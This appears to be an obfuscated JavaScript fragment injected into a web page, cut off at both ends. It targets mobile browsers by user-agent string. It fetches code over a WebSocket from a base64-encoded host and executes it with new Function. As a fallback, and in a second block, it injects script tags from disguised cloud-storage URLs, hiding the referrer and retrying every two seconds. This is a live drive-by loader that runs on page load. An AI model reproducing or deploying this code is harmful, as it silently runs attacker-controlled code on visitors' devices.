if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();